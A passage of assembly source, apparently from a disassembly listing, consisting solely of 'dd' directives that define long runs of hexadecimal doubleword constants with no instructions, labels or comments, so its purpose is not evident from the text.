		dd 963F4181h, 88A9163Bh, 0AE00B1B3h, 0A8E747BEh, 0B5C5462h
		dd 0F51E9EBBh, 0D118905Dh, 0B28F274Fh, 37005353h, 540D2788h
		dd 68409511h, 37B7965Fh, 0BD5E0037h, 0D5FB3A89h, 0E95AB0B0h
		dd 5AACC4C4h, 0C0B19B97h, 0E5063731h, 400FB610h, 50153688h
		dd 9C68EE03h, 0FAC0357Eh, 0C8F5200Dh, 5E00E56Ch, 2EC5D069h
		dd 4B647F5Bh, 639180C1h, 3F56E985h, 6853F0CAh, 4B1BB007h
		dd 90B28CDBh, 0CFB9574Ah, 0B0F95027h, 64AD3900h, 1484FFh
		dd 0D0D3A757h, 0B760FC0Fh, 55B9B407h, 7F1B69AAh, 1DB71D09h
		dd 75D9381h, 5B36F577h
		dd 17F16B51h, 64C66102h, 0BAD33100h, 0FDB7A77Bh, 0BEC738C1h
		dd 0C8B49ECBh, 1EB9C01Dh, 238587Eh, 0DD6C094Ah,	4FCD598Bh
		dd 4D75359Ah, 0DE80C7E9h, 40A238AFh, 3660682Eh,	0E9812379h
		dd 5BB3B56Ah, 0EB23C039h, 9529611Ah, 33BA590h, 0BE7DF400h
		dd 1DB6E394h, 0C7EE0093h, 0AED87105h, 0BFE819E7h, 35412309h
		dd 75C85477h, 0CE6054EAh, 1936610h, 127E98C9h, 302F0F99h
		dd 5F4BD9B4h, 0EA80A09Bh, 4F9137F2h, 832C9DE2h,	0F1098627h
		dd 70D5540Fh, 3D97045Ah, 0E95600D7h, 9CDF80AAh,	818CFF17h
		dd 23255BACh, 0E2738656h, 14111F04h, 0FF93980h,	0ECBEFABFh
		dd 97953163h, 0E0D85459h, 5D9B501h, 0F3543A97h,	0D17870DEh
		dd 0F6317300h, 0FC5D38Ah, 0CCF54B9Bh, 15B0F813h, 5750F91Ch
		dd 0DFBC529Dh, 72BFFCF0h, 965B803Fh, 0C0C0CD9Dh, 0E9394D3Bh
		dd 7E171360h, 0F69C48h,	0A243DA4Fh, 3EFBB595h, 57533B01h
		dd 0F4EAC41Ch, 0C8A1DA6Ah, 0D54AC01Bh, 560B2FB6h, 2303E6Eh
		dd 550F0135h, 0D381F138h, 769ECF0Ah, 46DCB735h,	0FA47001Bh
		dd 739E56DFh, 0FC524A74h, 511B2D79h, 427469F8h,	9B7F6D4h
		dd 890F73A7h, 70E9AF56h, 0CD4F9D59h, 4BBA204Eh,	2DFE1CD1h
		dd 3D78EC9Ch, 62D084Fh,	81ACDA7Bh, 0BF28ACE4h, 256F2530h
		dd 76E20DEAh, 8380B337h, 6E4FCA3Dh, 94382515h, 706919DCh
		dd 95F8F29Ch, 0FE4B656Ch, 0DB3A54C9h, 9D62C397h, 19E59133h
		dd 0FC238649h, 0F7D3700h, 0C23C4143h, 0BEF7B1Eh, 98AF0100h
		dd 244DE174h, 20AB9B77h, 0FBEC9FD6h, 66988BBFh,	0BA5748FAh
		dd 448AC850h, 1520BBD8h, 8ED8F9B1h, 2C671562h, 20BCF996h
		dd 0CC039301h, 609ADBECh, 0EAAD843Fh, 8CB60012h, 8A3018B2h
		dd 6DFD126Bh, 4121F387h, 0A9B57FD5h, 3E10292Eh,	396011AAh
		dd 1F09B2ACh, 6623E2E8h, 5C96586Dh, 9F2DD4C0h, 0C101328Ah
		dd 5BA30EAEh, 50CDCAD2h, 0D801928h, 7A5F0C47h, 0C185965Ch
		dd 0DB42AA63h, 92897C0h, 3453160h, 46D63556h, 572F0414h
		dd 91AFB509h, 30605B65h, 7BED6956h, 2D507DDCh, 4F5B6159h
		dd 74181659h, 3A3C1124h, 0CACEBB81h, 664905A9h,	8D84427Bh
		dd 0B8552635h, 97FAB37Ah, 604A0094h, 0F5B048E7h, 510F8CAFh
		dd 0E4029A2Dh, 1BDCCBFh, 0FEF07546h, 0CEC45FF0h, 48ABC6F9h
		dd 51AD0B6Ch, 0F2C1A701h, 3BCE2ADFh, 3EF6E4Ah, 56E9CADFh
		dd 0D9822430h, 5E920FFEh, 62563849h, 70A6732Fh,	1A020208h
		dd 8B3087F2h, 2F3757C1h, 0C57CE100h, 256B5652h,	62E69AB9h
		dd 41D870BDh, 9337F2Ch,	8B1BA80Eh, 33950978h, 0CFE2685Ch
		dd 7370A5DBh, 5D250B97h, 99785B39h, 4C5ACD30h, 0F89A34BBh
		dd 0A60EDF07h, 990841E8h, 0BC3C692Dh, 82AD4E0Ch, 70091025h
		dd 7C09F23h, 0C95BB790h, 780049B3h, 9BF55D09h, 9D0087C5h
		dd 201C93CBh, 2CDE2FAh,	3C71A12Bh, 0CD609092h, 1ABFC894h
		dd 9F907DE3h, 0EC00A7CAh, 0B0D04EE4h, 5B6B3BF6h, 0C0FE9B6Ah
		dd 10E141CEh, 0B340C473h, 0D302BD1Bh, 9616AEEh,	84E545EBh
		dd 4AFFE9Ah, 0AB33B5DBh, 85898E70h, 22829F01h, 75D3D1FFh
		dd 17EA7D72h, 7851E356h, 0DE5629A7h, 0E6F600DCh, 5306CD9Fh
		dd 3002870h, 0C5DDBB93h, 4E6A1082h, 27ADF302h, 728B9090h
		dd 5CC500CEh, 0F3F70EBAh, 1E122D6Dh, 0D8053C0Ah, 1086688Ah
		dd 0DD25280Ch, 0DE8B2CF7h, 0F97B49D6h, 48D05D0h, 52E9DCEBh
		dd 0B2C9B80Fh, 75774212h, 9980D637h, 0C611BE70h, 0F2F3965h
		dd 29742EA5h, 0F2501610h, 0E30E4155h, 2E17D1E1h, 0DA6BBD2Dh
		dd 166C8058h, 4E5E4376h, 2B23B57Fh, 0F96FA756h,	8D846607h
		dd 16D0E174h, 69522072h, 45B5509Ah, 17352D13h, 5EE2CD12h
		dd 6BEDF00h, 55A7B98Eh,	5080E491h, 0AC6B7BCEh, 4EAE0901h
		dd 0F971FA3Ah, 0D18DDB2Fh, 0A6E4F471h, 0CAA00672h, 0F5810C59h
		dd 0F3FB67Eh, 536AFBBFh, 0E98055DBh, 8494390Ch,	65B71095h
		dd 8B2D0048h, 7350B09Ah, 340B5F86h, 8293F877h, 570F7107h
		dd 0AC00B9BDh, 0A1322A20h, 0ACA34C3Ah, 61E51C0h, 95015CEEh
		dd 61D6EB0Fh, 70D028CDh, 58E804B5h, 0BD4B8B3Ch,	3B629D40h
		dd 17E59D23h, 0A563E0B0h, 0C67F2541h, 112012A0h, 0B52B0D2Eh
		dd 7F0C1B95h, 467984C8h, 5D273218h, 400F7453h, 3CAB9466h
		dd 78596C00h, 908F9DA3h, 82E0920h, 8A76F0B5h, 27678340h
		dd 2C2A00B2h, 0A8BDB7E7h, 0FA01E3B8h, 1DD30243h, 5FC55B6Eh
		dd 0F9660A2Fh, 3E948033h, 0E968151Eh, 0D29C0400h, 0A68EBD55h
		dd 0F0832418h, 107D08CCh, 30AA5B12h, 7D98DCBh, 2E07FC82h
		dd 1CC19AB0h, 0C0A59674h, 0FE9D0973h, 12599D11h, 0FBCC782Dh
		dd 0DF2D0205h, 4175C82Bh, 0D86A25ACh, 5602EF55h, 8BCA262Eh
		dd 7B905FD1h, 0A7001181h, 0DBB13F7Dh, 5E604CA9h, 407BE335h
		dd 336429B6h, 0D1EF859Bh, 2BF78092h, 1DFB9795h,	98EC2586h
		dd 312B807h, 28CDE37Dh,	31C416C3h, 0B0D9AC23h, 87B5BBFh
		dd 41E92668h, 0B1C78085h, 2E188DEAh, 0FE2F7222h, 461EE00Fh
		dd 68318575h, 24DDB639h, 20A53594h, 20ADFE28h, 95EC316Dh
		dd 0D78168A0h, 9E409909h, 0DD39552Eh, 2EE1310Fh, 56ECA1CDh
		dd 2C970374h, 13F33D42h, 9D282AC0h, 0E767B624h,	0E301862Ch
		dd 6A5B4022h, 0DC91F752h, 0B55525B7h, 0E2832CA3h, 90570AF1h
		dd 24B0C9Ah, 0EA454E13h, 5E7C742Bh, 0ECBFE440h,	0B7D3005Ch
		dd 0D76A8EB9h, 7C3990FBh, 26843DEAh, 0C0A59A46h, 79B589AEh
		dd 0F56889Dh, 41118638h, 0BD51B4Ch, 170AFBA1h, 3981A70Eh
		dd 2E2BE12Ah, 0F8607731h, 0B881D47Bh, 4C4996A2h, 607B7B27h
		dd 0BD01F88Bh, 562FDD2Fh, 0ED00F412h, 65903A1Ch, 12F3A009h
		dd 0F5F99D24h, 3AF92B94h, 331A59B8h, 7C9B7D9Dh,	0AD1A276Ch
		dd 5BAF8F5Ch, 0EDC5D0EAh, 999D2909h, 6B175527h,	0DD20C0A8h
		dd 0FC8A2528h, 8B176DE5h, 50EC65F9h, 0A5B0F502h, 983B38F2h
		dd 95D7B3F2h, 48542251h, 0BC058FFh, 45ECF67Bh, 383C97F2h
		dd 2C148966h, 0BE1081A9h, 9B6FE1FFh, 0F013821Ah, 8D5A609Ah
		dd 0F97040ADh, 72A8114Eh, 9D6A21E2h, 7203755h, 0D0AAB53Ah
		dd 0DA8B9DBEh, 60699497h, 0BF66610Ch, 9497F25Ah, 3BC54548h
		dd 9FCB6DE0h, 50651075h, 9B617D58h, 154781Eh, 4AB5F490h
		dd 18C3414Ah, 0EF2A215h, 20D1E6E0h, 73A998AAh, 52F60009h
		dd 8774429h, 5625BCD4h,	5C80E2ADh, 1000DC4Bh, 5A4312F8h
		dd 50B68820h, 0E965CA24h, 6DE18001h, 176BC2Eh, 0B4598054h
		dd 6357C9A8h, 9BD50112h, 267693E5h, 205C443h, 2C78BB19h
		dd 0B95E4F67h, 0DAD24690h, 0E9F580CCh, 0E810174Fh, 0DABE625Ch
		dd 395C1205h, 0F6D780E0h, 0FB55FE89h, 0FC06DC2Bh, 8A0F5008h
		dd 0AC609214h, 0E075802Eh, 1C156357h, 0C4F05C5Bh, 0F8E4BB66h
		dd 24041613h, 0AA8B669Bh, 2710FFF6h, 0C1CF8101h, 0BF6AAF4Ch
		dd 49953F50h, 0C68A4B54h, 0DE3D085Eh, 7ED12Dh, 5FF3A918h
		dd 0BC00E79Bh, 0D788C7FBh, 17C42209h, 0EF11D220h, 62B80424h
		dd 22924880h, 7503257Fh, 0F49C7A2h, 4E1D7080h, 2E76A55Fh
		dd 6C9F952h, 0EE771C30h, 893612A4h, 0C8600ADh, 87B75D6Ah
		dd 2865F4Ch, 28FB0BBFh,	0CCB87F25h, 8D4AD380h, 17B222F6h
		dd 2DEDE430h, 1E7484B9h, 810BF468h, 251B5118h, 113B2F73h
		dd 0F2221E21h, 0D2FC8B5Ch, 19AC13B9h, 57F3028Ch, 0CD7B983Ch
		dd 5549E05Eh, 0A8C077EDh, 0D903CEh, 0ED71A0D7h,	85C98160h
		dd 13BE0839h, 2A261FCh
		dd 3F6C6F4Eh, 711300D9h, 89DDC97Eh, 12014E9Dh, 4909F37Eh
		dd 0CB0D2C1Dh, 0DC89DB43h, 74C6FBFh, 820FF1D0h,	9D3A4D8h
		dd 16D3AFE7h, 0AF181759h, 0F16BEE09h, 9F14D0F9h, 0F6002AB7h
		dd 0C654BC72h, 20964E82h, 1535A97Bh, 0BDFADD09h, 0BBA9068Dh
		dd 11AF0454h, 8223965Bh, 0D55E2A40h, 50B85B5Ah,	5700BB02h
		dd 6836C9D1h, 26E91A8Dh, 244518Fh, 815B63B9h, 35C27207h
		dd 403DFE70h, 53917331h, 0C88FC500h, 78FEE006h,	0B8E70481h
		dd 0BB0549C9h, 8D579B85h, 0E48016Fh, 85D62700h,	49C6ED0Bh
		dd 0AE9CA462h, 0E43662BCh, 48950768h, 0C130FCFDh, 0F439D4F3h
		dd 789E2669h, 0C2E1EDAFh, 6C54F390h, 0F31FD509h, 44ECA832h
		dd 379761B9h, 3BDB000Ch, 0FC4FC81Eh, 97AD6A0Bh,	5A66AFh
		dd 561EE1C7h, 0D78D38Fh, 0C8B7EF5Ah, 0E9301DB2h, 17129h
		dd 0F2A1FAA9h, 0FB8BBFFCh, 0BCBC1497h, 1FE2D2Ah, 7EF3F6DEh
		dd 0BC6930Fh, 0B0098935h, 5AD8ACFBh, 8A7605DFh,	5DB3453h
		dd 0FB0439C7h, 0E1E3B2DDh, 0CE2B10F9h, 6E2AE9F2h, 3F3E0024h
		dd 4720BF88h, 0F9F1669h, 0A0D1E889h, 2D598A54h,	4D4D8BEh
		dd 8F8403DCh, 4EE63791h, 4AF6BBC8h, 640CB625h, 0C9CE06C0h
		dd 3440360Dh, 16D84900h, 0FDDF27AAh, 58DC2879h,	8B0F18F8h
		dd 5FFC3301h, 272D149Dh, 0D35B0467h, 9D8695D0h,	1D5ABC2h
		dd 291D140Ch, 65AC49EDh, 0E98504B1h, 0E235E825h, 1D911F28h
		dd 0D063E387h, 0B0F705C5h, 59BF371Ah, 0F1858188h, 226F2997h
		dd 45556180h, 117D0948h, 86124C73h, 79C9A6BCh, 4129CF77h
		dd 210CC76Fh, 0E0B22EC9h, 0E1CB9B82h, 97B2585Dh, 678A17C1h
		dd 8B75E0FFh, 89320942h, 22500A41h, 74250190h, 0EB675C52h
		dd 7D40A84Dh, 267EC4F0h, 619CF8A6h, 0C18A851Fh,	0BEFAF8ACh
		dd 0FB7B25h, 0FD98B4Fh,	8A514831h, 0F8D291C0h, 5B4E73A4h
		dd 0E293AFACh, 0EA3E014Fh, 0D5962F76h, 713B5BD4h, 8C0BB09Eh
		dd 0A7F94BD2h, 67B92773h, 0D644261Fh, 59CC3E01h, 1DE9BD0Bh
		dd 6D632D3Ah, 270A80Ch,	0CFABA57Bh, 305DAD77h, 4674BBB6h
		dd 0DF4E76D0h, 40E91684h, 0F05B4B8h, 0F59D3310h, 9BB1FB0h
		dd 3972DB9Bh, 0D2BB16D0h, 828E7E72h, 18518529h,	0FCAD395Dh
		dd 0AA38243Ah, 0E0E1BEF6h, 82F73F21h, 8C3DA5A0h, 603CFF01h
		dd 6AACBEC5h, 7B8BD238h, 5E0F019Ch, 82142DB3h, 6E32E193h
		dd 0A5875906h, 0AA514384h, 1523536Bh, 9869263Dh, 63A977ACh
		dd 9206188h, 9C46050h, 37EAD903h, 0D86427F9h, 1D625378h
		dd 538C51DDh, 4F01256h,	0AFF1F4BBh, 0BD238490h,	1C69B479h
		dd 0CE804760h, 4D9DE2ACh, 61096850h, 70DD850Bh,	7B48EF7Eh
		dd 63F70481h, 0AB056D3Fh, 7B29649Dh, 0A73E77A8h, 225D06B3h
		dd 20E884D0h, 0A0B42E09h, 8EA31A13h, 0E4AD2188h, 222500B0h
		dd 0EE4B1908h, 1C00C24Fh, 82FC2741h, 963C54h, 0BB5066B3h
		dd 79A201Eh, 2EA16AF3h,	23EE6B2Fh, 51FE001Bh, 0DAFAA8AFh
		dd 2B135CE0h, 3A52C99Dh, 6A4E4FF7h, 0C8C70080h,	0A3B0E3CEh
		dd 88554ED5h, 5D0084C2h, 0C03512C2h, 2372F01Bh,	412FD3E6h
		dd 723A186Dh, 5874FC59h, 4E796651h, 3100FED6h, 0B66E9E8Bh
		dd 928309B2h, 44D3E89Bh, 40C0CDADh, 7F03F499h, 1245A0C4h
		dd 0B5C90B0Eh, 0C64EF650h, 0B880339Eh, 28A9EF89h, 0A0B8F94Ah
		dd 0E9DE8BE0h, 0FF71F1E4h, 5525B5FCh, 0F6184A24h, 0EE464059h
		dd 5E00BC9Ch, 0BB5662A2h, 4AFCCA38h, 0FAFFE0D7h, 5EE25B5Ah
		dd 2A3967A8h, 0BFB3818Fh, 551D3971h, 0F45C16Ah,	2BA23E80h
		dd 996C7C80h, 3C1622D1h, 0A3045BB5h, 0FDF2FA8Bh, 0F2894E79h
		dd 3E9F80F9h, 695C23F7h, 1F7634B8h, 22DB5440h, 682900AEh
		dd 96EF108Dh, 2F00C195h, 46F5B6EBh, 0B91D1952h,	916E8E4Fh
		dd 0B745AD00h, 5F64370Bh, 20B6907Eh, 0CB8D4CE1h, 9FB551F8h
		dd 0BD8944C2h, 71D15D45h, 1631F3FAh, 0DDD5049Ah, 8D201723h
		dd 0F6DC6A45h, 0A9C001B3h, 702AFCBh, 0D3D82AD2h, 63F909BBh
		dd 0A1C04E1Fh, 2D2DAAF1h, 70887B06h, 161DAE99h,	37406A30h
		dd 0FDACB5Eh, 4005458Dh, 254C0E2Eh, 0F49E7497h,	0A36AD20Fh
		dd 80B28117h, 2521CFD7h, 515168A5h, 925AF08Fh, 5C2DBE09h
		dd 0F2F3ADA8h, 0EA978h,	8B6DB9A4h, 839985Ah, 0F8E78102h
		dd 4040C54Eh, 8204D1EBh, 4374477h, 619501DEh, 0DB2DBA09h
		dd 9C869A6Eh, 277354Bh,	740F7599h, 0A50EBD5h, 89D1FF19h
		dd 31001A22h, 2EE7258Dh, 0A221A28Eh, 601814F9h,	23839691h
		dd 0DF1A7D78h, 92829FD4h, 0E1DEED02h, 2E1CD69Ch, 272CE808h
		dd 2F0FB640h, 0E8C70BB8h, 0FB3157F8h, 73FE615Ah, 56B0702Eh
		dd 0B730F906h, 2D70AF0Ch, 4F7B0FB5h, 0DA3590AFh, 11AB00D7h
		dd 87E86AA9h, 8D1E5C46h, 0A4822CDCh, 7596E93Ah,	0FB08F767h
		dd 22B2CAAh, 4FB7C149h,	2B31FCC1h, 9DDBCC88h, 7C7CC13Ah
		dd 0E84E01D4h, 958B600Bh, 0BE472491h, 478A610Bh, 8B8D8F3Fh
		dd 0BDB690B5h, 6E014505h, 123F2689h, 2FAFF102h,	0B24B717Eh
		dd 0AFBF2822h, 0B51E3D20h, 93BF425Bh, 7BA3A5F3h, 6A87B30Fh
		dd 9F2CFB35h, 0FE9116F6h, 32111821h, 2D846247h,	22CECAEAh
		dd 0B3B04D16h, 4593B158h, 8C70E68Bh, 52002880h,	0A5918DFBh
		dd 4B051D9h, 721BCA01h,	0CAB8EFh, 35F9056h, 97211D9Dh
		dd 0C3046644h, 3B615DAEh, 9A2CDA22h, 0B9F1D619h, 0F585086Bh
		dd 9D67EF08h, 0CB19ABE5h, 8812100Ch, 0F84300B8h, 7C1A2C4Fh
		dd 970C50D4h, 2A5B53B3h, 9CBF0404h, 0BC7BC6C4h,	0EF8003F0h
		dd 18C82B79h, 590E6180h, 12D452D1h, 5F12642Eh, 0BC92EEFCh
		dd 0DB810182h, 38763B6h, 342FF62Ch, 0FB1EFCF1h,	5E6964A6h
		dd 0BC07164Fh, 7656927Fh, 0E9C669B9h, 0BB050B53h, 7D2B7624h
		dd 61CBA802h, 905155D7h, 83501025h, 0A51E000Eh,	0D2059E50h
		dd 30002644h, 35119F5Ah, 4BD46A0Dh, 22EAC8D6h, 296D828Ah
		dd 44DF5E33h, 0E503570Ah, 4154E76Fh, 3C476D26h,	0DDBD4624h
		dd 518F684h, 42A9F8B3h,	0BA56F927h, 0F1B46D6h, 0E0991916h
		dd 0E2F1ED4Ch, 0E7D9B031h, 7BF8BA0h, 10B99952h,	377D0B09h
		dd 0C2698141h, 2F4E9626h, 59B3CE12h, 20849077h,	2B271BB5h
		dd 0C0F3CDC0h, 0C76E91F4h, 0A2B91EB0h, 2B3EEB02h, 0A1D35578h
		dd 48E4C425h, 0B44B7657h, 9E975FF4h, 5B999AE6h,	0E842F906h
		dd 0F90F0593h, 0A053BC8Fh, 623BF783h, 896138B4h, 79A2B75Fh
		dd 0B82230EBh, 2AC0DC35h, 61E439E6h, 9A5B5E57h,	0C215C880h
		dd 2E540FDEh, 34EB8100h, 970411D9h, 0C257F99Ah,	5ECBA90Ch
		dd 1D915D75h, 60D56483h, 0AB19A8E0h, 0A37D4316h, 7880809Bh
		dd 16FB0D2Ch, 0BF38FEA6h, 25E38059h, 88234311h,	0DD6D27A3h
		dd 73112A45h, 5332BB4Ah, 51821283h, 0B05D32C1h,	9DE4B3ACh
		dd 0A3F41A3Ah, 0CA4B09D4h, 75D96A8Dh, 8B542F80h, 1E1D43h
		dd 39B3AA3Ah, 0C9BED8E1h, 2AEDFFF4h, 0B509746Eh, 12D1FE8Bh
		dd 5085324Fh, 1012276Fh, 0DDA265h, 0CF4993E6h, 9D8377A5h
		dd 684B1814h, 64B081A7h, 3DEA524Ah, 81F0FC00h, 6E5607E7h
		dd 3C149D43h, 5A9BFD74h, 13BE43D8h, 1E2EC002h, 1115010h
		dd 0CDBD13BFh, 6E3A6016h, 49E10016h, 0FFB29ABDh, 0A76C20C2h
		dd 325DC2F7h, 89C435C3h, 1DEC2B4h, 71DF8160h, 6EA027A6h
		dd 0C1754242h, 0E32A0D32h, 0F94321E0h, 9501818h, 0E34AF79Fh
		dd 44A52971h, 0E07E1E90h, 5C0179C6h, 88612B0Dh,	0F0827B21h
		dd 6B11745Fh, 8160837Ch
		dd 16AE3AF3h, 0BC905126h, 50880EEBh, 66EE5353h,	515E08CDh
		dd 905F5804h, 81339BEAh, 650C7587h, 0B5893E86h,	0BB00958Dh
		dd 22C6FD4Dh, 2E8B4B68h, 9FED699h, 970B9CDh, 8578B409h
		dd 0D9B7D529h, 0C912CE04h, 318D4581h, 0B62A0125h, 3018B257h
		dd 0E90B228Ch, 896068BEh, 4F2DAEFh, 805161F8h, 9F87AAE7h
		dd 43F7DD9h, 0A7853A00h, 769920D1h, 70145B0Fh, 0B322FE0Ah
		dd 0DC363103h, 14A9ECFh, 0B8816CB8h, 6EA0E992h,	27DB50C8h
		dd 0C42567Dh, 622D6F55h, 0E50CDE3h, 0C84F84Eh, 4AC77BEEh
		dd 0FEE3A412h, 129D2313h, 5FDCE7F8h, 4D000B6Eh,	0C6AD516h
		dd 0B8C9EB70h, 0ED3882F8h, 4D80E34h, 0C4BD5B5h,	24BDC956h
		dd 21EF8180h, 2F4BCE7Eh, 0DF96C5C2h, 5950FC87h,	0CD2D8E79h
		dd 67DBE1DCh, 6311D84Fh, 59CAAF00h, 8EA5687Eh, 20244A1Eh
		dd 0C7917F91h, 0C00ECE70h, 0E0C6533Ch, 0B01FCAEDh, 4E510BAFh
		dd 7676EB7Bh, 18D5A07h,	9A63374Bh, 0AC5CE1A3h, 0D8475B25h
		dd 0BF712DF4h, 8BD51103h, 0C06834E2h, 2726BE6Eh, 0D079902Eh
		dd 0D458380h, 824DFAh, 563873Bh, 8EAE41C5h, 0BB209101h
		dd 0F370381h, 0A95B4431h, 23972C0h, 0FE4BD821h,	5B3DB1DCh
		dd 9085982Bh, 6136E99Fh, 2D2EEC61h, 0C52389h, 917E8919h
		dd 12461F30h, 0BA2971A4h, 817DD930h, 0EBD9005Fh, 4BF17428h
		dd 7C09B106h, 715B5CB5h, 0BA4E450Dh, 8600697Bh,	0B8D62068h
		dd 0E0C97811h, 1386DA7Dh, 0AA3AE9FAh, 0AA041B7Bh, 0BC824E26h
		dd 929CEB74h, 8BFCE2F8h, 0F694A94Ch, 900EDC03h,	402AEBD3h
		dd 0E148C963h, 7EB3A250h, 0C4E9A14Ah, 0EC35BD13h, 65405C3Dh
		dd 0F6345F76h, 301BF2B1h, 3D02F788h, 22732C56h,	85846016h
		dd 514E9724h, 1D8C0F28h, 0C0696048h, 0E877A46Ch, 0B946000Ah
		dd 74D5C0AFh, 0FD07C3ECh, 3EFBCE81h, 5C614522h,	1546D6EFh
		dd 2C87013h, 355DBDDDh,	0CF44CE55h, 4A502518h, 6B606CF5h
		dd 61125C24h, 0CC7B244Eh, 0C03A728Fh, 76E94A3Eh, 0AF4E343Fh
		dd 50D3E160h, 0A1359559h, 66801A91h, 0EA3CA96Bh, 0C7ECBC2Ch
		dd 0CA25AE9Eh, 0EA4F7DE5h, 7185A40h, 8B8E00C8h,	0D12A894Dh
		dd 0C2788060h, 0A8FD8BA2h, 545AC20Ah, 9074D467h, 0D2B80775h
		dd 5C7D8927h, 395569h, 0E56F4C1Eh, 25108E7Fh, 11E65F52h
		dd 6925D598h, 0AD4BD318h, 706971DCh, 5FBEA217h,	0F45614CAh
		dd 803725h, 3C7D9205h, 41FDEE7Eh, 2E27A5A1h, 0F88AF771h
		dd 0BBF8302Eh, 7D5FCCC6h, 76C16C13h, 9C2B57F5h,	0F197FEB2h
		dd 80165469h, 22FEB1C8h, 0A45450E8h, 0BF017D6Ah, 769C4D67h
		dd 74E67E21h, 21566B37h, 488C00DCh, 22B6DE4Ah, 0F14E0F7Bh
		dd 38F45B88h, 0E200A0C0h, 0FD5D818Bh, 232567FFh, 0FF11F78Ch
		dd 19EC7050h, 79F2125Ah, 6E091A99h, 0EA40408Ah,	392EF535h
		dd 0EB127A91h, 1B06FBFh, 0BE944B4Fh, 66E096FCh,	343217BBh
		dd 82EA165Fh, 6DD52EE2h, 0E0D8E8B6h, 1BB4559h, 0EB34A309h
		dd 0A7997385h, 0FF50A953h, 0AF3550CBh, 0B5290BBCh, 375707F9h
		dd 0C097AE6Dh, 0A1225448h, 0F3BCA01h, 34A58589h, 2A19C93Ah
		dd 0EF9288B2h, 57139C09h, 774B881Ch, 0D3B1C0B7h, 250130D2h
		dd 252B2845h, 0E031F6CCh, 9D27A0FDh, 757EE090h,	8A8AD00h
		dd 684D58FFh, 0B5C67031h, 5CE1DFCDh, 0E32A693Bh, 74409764h
		dd 6D39A79Dh, 0E4951C0Bh, 27A2C251h, 2641C647h,	614620EBh
		dd 772DE9FCh, 0D060D3F3h, 60E8DAEh, 0B30F5B13h,	57001E8Ah
		dd 6B429AEDh, 0A2000875h, 0D4B2211Ch, 25AB04FEh, 0FA37C18Bh
		dd 0DD400900h, 0B71AB77h, 2C6F3D86h, 50612254h,	622F8EB3h
		dd 5080E92Dh, 714CC855h, 4920E100h, 0F4917A8Eh,	60869C9Bh
		dd 50906B6Dh, 8FBB5197h, 0B57DF8Bh, 22CA5961h, 7F7860FBh
		dd 214214E8h, 6F06C698h, 4C480C41h, 0BA6DB4C2h,	3B7572Dh
		dd 0D4106C87h, 550FC2FBh, 35859568h, 0D82C85ABh, 0DE241552h
		dd 3DDE8A08h, 0E6469F7Ch, 2FCF8101h, 6A1A289Eh,	0C0959B3Bh
		dd 7DD447A5h, 4EC7E8DEh, 8046EC94h, 1B9CDBBEh, 406200DCh
		dd 0F1AEBA7Ch, 0E02F997Dh, 10AD050Bh, 0B0602D83h, 8BA96E2h
		dd 830F7006h, 0C3788549h, 744958B8h, 46003BBCh,	0F7D17448h
		dd 25EEC6BFh, 0A7CE6979h, 0DAE07C87h, 2891519h,	47C886C2h
		dd 795FFA8Bh, 0F380058Dh, 0E4DDAA6Fh, 27906A7Ah, 41D0D0FFh
		dd 0CBA07A18h, 2FDD259Dh, 5411CAC7h, 9FDE312Dh,	0DA30549h
		dd 117831FFh, 24B80131h, 0A16213D8h, 666902B2h,	207CC6B8h
		dd 989FC02h, 5C116185h,	0F88B89BCh, 0DAB73C22h,	839F5CECh
		dd 0BCE95B6Fh, 11C48EABh, 0F250BA77h, 5F6F952Eh, 569B2542h
		dd 0E0800BC6h, 0BF73B155h, 7190E060h, 0E892C560h, 7943000Ah
		dd 9DEFBD7Ch, 8609E302h, 79615E85h, 0A1D60037h,	0FA874C36h
		dd 29A01F00h, 0D868EE5Ah, 8E512D6Fh, 61EA829Bh,	9017955Ch
		dd 4100A06Fh, 32A1BAD1h, 0FC31C626h, 519AD533h,	0BC80ED78h
		dd 104C3994h, 0CC08F425h, 0F7849AC5h, 89A42D2Eh, 0D737EC4Ah
		dd 1C917135h, 0F9CA4F80h, 3202DA3Ch, 0F85D9F1h,	6FAE748Ah
		dd 0D38183E0h, 0D8090D87h, 0D0FF6A41h, 0EDB55F3Fh, 0E7810177h
		dd 27A94EEh, 1CF622Eh, 0ADC38020h, 43FAB7B0h, 58E60D40h
		dd 0AAC1CE70h, 0ECDCBF94h, 9D189195h, 512EA5E5h, 7AE4811Bh
		dd 4A8102E0h, 0DE2ABD75h, 1FBC781h, 0B46A19E6h,	0C920BD77h
		dd 7989761Fh, 0C9319799h, 387A61F9h, 0C96080FFh, 0B18F69Fh
		dd 1291B509h, 4DC3B1D5h, 250CB556h, 0B77905D5h,	8A0ECF24h
		dd 2B2080F4h, 309D33C8h, 0D12F2CCDh, 1E4ADF80h,	0F70FA488h
		dd 5ACF2A7Ch, 0C15171A5h, 0BB10E578h, 0A2F4CA5Bh, 59951889h
		dd 7CBB1918h, 701A3469h, 6B8B2DAAh, 0C9588256h,	6A3E8909h
		dd 9510098Ch, 0BDE197D6h, 84180839h, 291B2355h,	0A5517FB5h
		dd 28E07A1Bh, 99116A0Dh, 5C0C0D03h, 79C6ADAEh, 23E44210h
		dd 8F60FA08h, 2502E38h,	0BCA851E1h, 1AF845AAh, 4A19512h
		dd 93EF9BFFh, 120000A6h, 0F1923137h, 0B919C739h, 0F8DB0844h
		dd 0EAA0172Eh, 3600BF6Eh, 79C8D8BBh, 5F2DD6F1h,	5DBCD044h
		dd 0B2BC16FCh, 4CB9D824h, 30AADA13h, 0D22BDFFAh, 692F739Dh
		dd 58D4AD56h, 0BD082FAAh, 502C30F1h, 1DB0F613h,	0A6255BA5h
		dd 0C6304B1Dh, 4A5D9D09h, 0D26AF224h, 0CDA198E6h, 3C46600Ah
		dd 3E3A4A12h, 0B6F48EE2h, 0E4EFA0F5h, 4F8609E3h, 4C761E6Ah
		dd 85C1BB34h, 0B33A15FDh, 0AD7788F0h, 381D5264h, 7AC20AA5h
		dd 0D7C78F8Ah, 7F526248h, 0B7E09512h, 188056ACh, 37490B41h
		dd 0F2588E05h, 0EE175F4Dh, 0AB17CB7h, 0D1A703Fh, 9A56C9AAh
		dd 0B1446D6h, 0F6E1FFB8h, 0BC321256h, 40C2E37Ch, 4E119D55h
		dd 0E124B818h, 0B51003CAh, 71952771h, 4981C4F3h, 0AF2DF9F9h
		dd 38010DD6h, 0FB874C1h, 0BFC5E42Ah, 6F1ADB45h,	8C96B8D6h
		dd 0BBB19C8h, 32E3C2A6h, 9694FDE6h, 0B687074Fh,	0E073CA80h
		dd 57A201A5h, 0B031C5B5h, 0B3342B21h, 2B799A05h, 0AE6634AFh
		dd 1DC09BC8h, 163D11D7h, 4303C053h, 0C8C05BD1h,	4468FC8Ah
